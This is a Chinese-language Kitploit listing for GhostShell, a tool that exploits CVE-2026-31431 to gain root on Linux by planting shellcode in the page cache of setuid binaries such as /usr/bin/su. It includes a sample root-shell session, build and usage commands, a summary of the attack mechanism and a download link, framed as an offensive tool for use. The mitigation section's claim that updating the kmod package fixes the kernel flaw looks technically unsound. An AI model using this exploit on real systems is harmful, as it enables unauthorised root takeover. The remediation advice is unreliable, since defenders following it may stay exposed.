Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
GhostShell — CVE-2026-31431 — 通过 Linux 内核页缓存损坏实现本地权限提升 | Kitploit
工具/GitHubGitHub/razvanduda/ghostshell
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队二进制利用
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — 通过 Linux 内核页缓存损坏实现本地权限提升

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GhostShell

CVE-2026-31431 — 通过 Linux 内核页缓存损坏实现本地权限提升

GhostShell 是一款本地权限提升工具,利用 Linux 内核 authencesn AEAD 加密实现中的缺陷,从非特权用户账户获取 root shell。它通过在 setuid-root 二进制文件(如 /usr/bin/su)的入口点植入 shellcode 来破坏其内存中的页缓存,然后执行该文件——从而获得 setuid(0) + setgid(0) 并生成一个特权 /bin/sh。磁盘上的文件不会被修改;只有内存中的页缓存受到影响。

简而言之:你以普通用户身份运行它,它就会将你带入 root shell。

由 Theori / Xint 发现并披露。完整分析文章:copy.fail


示例输出

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Target:       /usr/bin/su
  Size:         63576 bytes
  Entry offset: 0x1a50
  Shellcode:    94 bytes (24 iterations)

  [*] Checking if kernel is vulnerable...
  [+] Kernel IS vulnerable.

  [*] Corrupting page cache of /usr/bin/su with shellcode...
  [*] Patching offset 0x01a50 (24/24) ...

  [*] Verifying page cache corruption...
  [+] Shellcode verified in page cache!

  [*] Executing corrupted setuid binary...
  [*] If successful, you should now have a root shell.
  [*] No trace on disk. Only ghosts in the cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

受影响的内核

Linux 4.14(2017 年 8 月)至 2026 年 4 月已修补的内核版本。

修复措施 — 修补 kmod

针对 CVE-2026-31431 的推荐修复方案是修补 kmod 软件包(内核模块工具),该软件包随附存在漏洞的 authencesn AEAD 密码模块。各大发行商已发布更新版本,用于禁用或修正存在漏洞的 splice() 就地解密路径。

快速修补(Debian / Ubuntu)

root@kitploit:~
# 检查当前 kmod 版本
modprobe --version

# 更新到已修补的版本
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# 验证更新
modprobe --version

快速修补(RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# 将 kmod 更新到已修补的版本
sudo dnf update kmod

# 验证
rpm -q kmod

快速修补(Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

验证内核修复

修补 kmod 后,确认存在漏洞的 authencesn 模块不再可加载或已更新:

root@kitploit:~
# 尝试加载模块 — 在已修补的系统上应失败或报告已修复版本
modinfo authencesn

# 或者,检查正在运行的内核是否包含 2026 年 4 月的补丁
uname -r   # 应 >= 您发行版对应的已修补内核版本

临时解决方案(如果无法立即修补)

如果您无法立即更新 kmod,可以阻止存在漏洞的密码模块加载:

root@kitploit:~
# 将 authencesn 模块加入黑名单
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# 同时将通用 authenc 模块也加入黑名单以防万一
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# 如果当前已加载则卸载(如果正在使用可能会失败)
sudo modprobe -r authencesn 2>/dev/null

修补或应用临时解决方案后请重启,以确保任何被损坏的页缓存条目被清除。


测试环境

操作系统内核
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ 此漏洞利用仅在上述系统上测试过。在其他发行版或内核版本上结果可能有所不同。


前提条件

  • 存在漏洞的 Linux 内核(见上文)
  • GCC(或任何 C 编译器)
  • Linux 内核 UAPI 头文件(<linux/if_alg.h>)——通常随 linux-libc-dev 提供
  • 一个非特权用户账户(运行漏洞利用无需 root)

在 Ubuntu/Debian 上安装构建依赖:

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

构建

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

无需外部库。


使用方法

自动检测目标(检查常见的 setuid 二进制文件,如 su、sudo、passwd):

root@kitploit:~
./ghostshell

手动指定目标:

root@kitploit:~
./ghostshell /usr/bin/sudo

如果内核存在漏洞,您将被带入一个 root shell(#)。


工作原理(摘要)

  1. 漏洞检查 — 创建一个临时文件,通过 AEAD 原语修改其前 4 个字节,然后读回以确认页缓存已被修改。
  2. 目标选择 — 自动检测 setuid-root 二进制文件并解析 ELF64 头以找到 _start 入口点偏移。
  3. 页缓存损坏 — 使用 AF_ALG splice() 就地解密缺陷,通过每次 patch_chunk() 调用写入 4 个字节(24 次迭代),将 94 字节的 x86-64 shellcode 写入入口点。
  4. 执行 — 对损坏的二进制文件调用 execl()。内核从页缓存加载该文件,shellcode 以 setuid-root 权限运行,生成一个 root shell。

清理

该漏洞利用仅损坏内存中的页缓存。简单重启即可完全清除。

无需重启即可清除缓存:

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

如果脏页已写回磁盘(可能性较小但存在),请重新安装受影响的软件包:

root@kitploit:~
sudo apt-get install --reinstall util-linux   # 用于 /usr/bin/su

免责声明

此工具仅供教育和授权安全研究目的使用。未经授权对您不拥有或未获得明确测试许可的系统使用此工具属于违法行为。作者对滥用行为不承担任何责任。


许可证

本项目采用 MIT 许可证。

特此免费授予获得本软件及相关文档文件(“软件”)副本的任何人无限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许向其提供本软件的人员这样做,但须满足以下条件:

上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。

本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因本软件或本软件的使用或其他交易而产生或与之相关的任何索赔、损害或其他责任负责,无论是合同诉讼、侵权行为还是其他诉讼。

下载工具